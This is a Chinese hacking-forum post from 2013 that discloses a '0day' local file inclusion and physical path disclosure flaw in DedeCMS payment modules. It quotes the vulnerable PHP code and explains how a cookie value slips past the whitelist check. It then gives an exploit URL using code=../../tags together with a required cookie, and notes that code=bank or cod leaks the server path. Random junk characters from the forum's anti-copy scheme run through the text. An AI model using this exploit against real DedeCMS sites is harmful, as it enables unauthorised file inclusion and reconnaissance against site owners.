找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1940|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)& _& K; Z3 O) T
6 x/ ^  l+ K7 s" W8 P; K& s# \
出现漏洞的两个文件为:
. _* b: d4 H7 b5 z1 Z9 V# `# uInclude/payment/alipay.php% B; a8 ~+ x& w. o/ ^7 g% X
Include/payment/yeepay.php8 u  S2 L! e8 V: o! C3 i
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
# \1 H) ~  S& \/ C2 T6 o
! o$ l' E# t- q4 V) Y& [Include/payment/alipay.php. h0 X  s1 k, w

8 T! r. E) }* b/ g' C; U......# T: C# j/ R0 m% X& `, z9 _
   function respond()7 C* X. X# C  p1 _* m' i
    {) X) N* [0 ^; U4 X
        if (!empty($_POST))
  @9 f2 Z/ j" F; Q9 r        {
) j6 @. e+ o$ s            foreach($_POST as $key => $data)
1 _! P' s' H1 F9 I' o            {: K5 b, w3 a5 a' n1 R/ P7 P) Z' p
                $_GET[$key] = $data;
" o# z# s9 j9 V8 n/ O; i' E            }: H6 r- f/ B) ?- T* [
        }
$ `# V$ ~" @6 x* C4 k4 M: c+ b' `        /* 引入配置文件 */
# p5 e1 `5 J) C' T8 J2 `        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';& f, s2 x' C1 l. v
...... & W/ d1 o% y# I: e0 r# |8 ~

4 z" |/ ^5 s3 n& L; M9 [8 h) q; J; e2 ?* x2 o* I6 B1 K9 c7 Y. H; h
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。3 M+ V1 w$ S& e: |& Y

' f3 t5 C8 O9 A+ z; k! L7 fInclude/payment/yeepay.php+ _7 K2 [' n- Z4 T  ]" E
- c3 C0 X/ f( C4 u
  Y( y. e" d" \; E1 {5 _1 H4 |: u
+ q- b% N7 c2 A# p+ d! d" c
......
8 p* {7 `9 v2 A" b    function respond()
. x3 [! U; k( S, Z    {
4 B. Y: q# p. W$ Z/ M 7 Y* R% P  z0 F- B+ B
        /* 引入配置文件 */0 C2 ^; L0 I5 \2 N
        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
0 p8 q) y0 D1 d7 i/ o 9 R6 L) R! O( x5 n# U8 C6 S
        $p1_MerId = trim($payment['yp_account']);- d2 J' ?5 L% [, R  q
        $merchantKey = trim($payment['yp_key']);: Z' R6 r& t/ Q
......
% H1 A, Q# ?" q- i) `2 h ; z* F5 V/ B+ U; w, F
6 ?4 i/ f* M: ~" p1 U
* E2 C( Q; H# l0 D

3 ?' U6 _! i/ q2 D5 C& S5 A大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
- S' g+ R1 F8 T4 ~$ F# F1 ~9 A3 I2 h; D' ]
这两个方法在plus/carbuyaction.php文件调用。
/ r5 h2 T+ I0 M% E. ~2 z$ \6 W* g* q2 C# ~, B" x) f/ y+ h* E+ i1 m
plus/carbuyaction.php. a9 Q6 A6 t* F+ O. x) w+ v: F/ g
8 U( X. E. ?9 ?: X* ~
......, ^+ H* k( j# T" H! V9 \( b* h
} else if ($dopost == 'return') {$ R8 W/ j) _' D$ S
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');6 K, f% Y( M3 E2 S; k6 M
    if (in_array($code, $write_list))+ V. W8 e1 e1 B  i, b! _& O' |
    {* K- c" Q% {; G+ r3 s4 l# j
        require_once DEDEINC.'/payment/'.$code.'.php';8 S  E  B8 z# i6 F4 b5 c' F
        $pay = new $code;
$ n" a' T9 d5 I  f! K, v        $msg=$pay->respond();
4 W6 f  E# U4 C2 p. o9 f3 d- B0 A        ShowMsg($msg, "javascript:;", 0, 3000);7 E7 X6 N/ K+ y4 @
        exit();  
* i/ D' ~* K5 z4 Y7 `    } else {
: m' h3 L3 g; J  e% S" F7 r        exit('Error:File Type Can\'t Recognized!');4 n! A& G" b, H# ?4 I7 f6 P
    }
( D  r/ ^8 i5 x% j( E5 Z2 a, L) H}
) J8 t& l, m+ m1 Y...... 1 V3 U& Q/ ^+ ^1 L$ G
) m+ n$ |+ P; W/ [/ r& E
! {1 f2 x. U2 @' X

* y! f( e* c. O" p8 A
, d. ?# `8 F2 R: I# @* J8 N' C) ~; o 9 b3 a4 u  f8 N$ p3 c

6 u0 s4 J" O7 V9 \  @大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。& B8 n3 p" p& a2 n  Q8 d
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
  @# m( G1 ^' I7 z% J% ]3 K) w( |' e
回到include/common.inc.php来看看他的机制。- {" d# D2 R* z$ `1 h/ n. x
! {- I/ u1 I$ _" W" {9 B
2 d! t9 N8 i( z9 g/ }

$ T) B& [3 P% @9 I, j6 H) r, ~......
; z/ y% H! X% i: k9 E- xforeach(Array('_GET','_POST','_COOKIE') as $_request), ?2 g* r, d! v8 M  F% Y
{* M9 c1 \( _6 J" j1 O
        foreach($$_request as $_k => $_v) 5 T1 B* W  ?1 N  s! A4 m: {( y
        {
9 a0 ~1 g3 A- G: |, u+ Q5 p+ b                if($_k == 'nvarname') ${$_k} = $_v;
! j- I+ M6 ^- S0 R                else ${$_k} = _RunMagicQuotes($_v);
# [+ A' O! @* g1 G* ~4 Z2 |        }
; v4 B  W+ G. p3 s! t}, d/ E/ {: F3 d2 Z) q! `* O. S
...... " a* g9 e5 j* w6 f- q0 L% e
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:0 Y6 w3 T! t" n0 ]$ s0 m
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表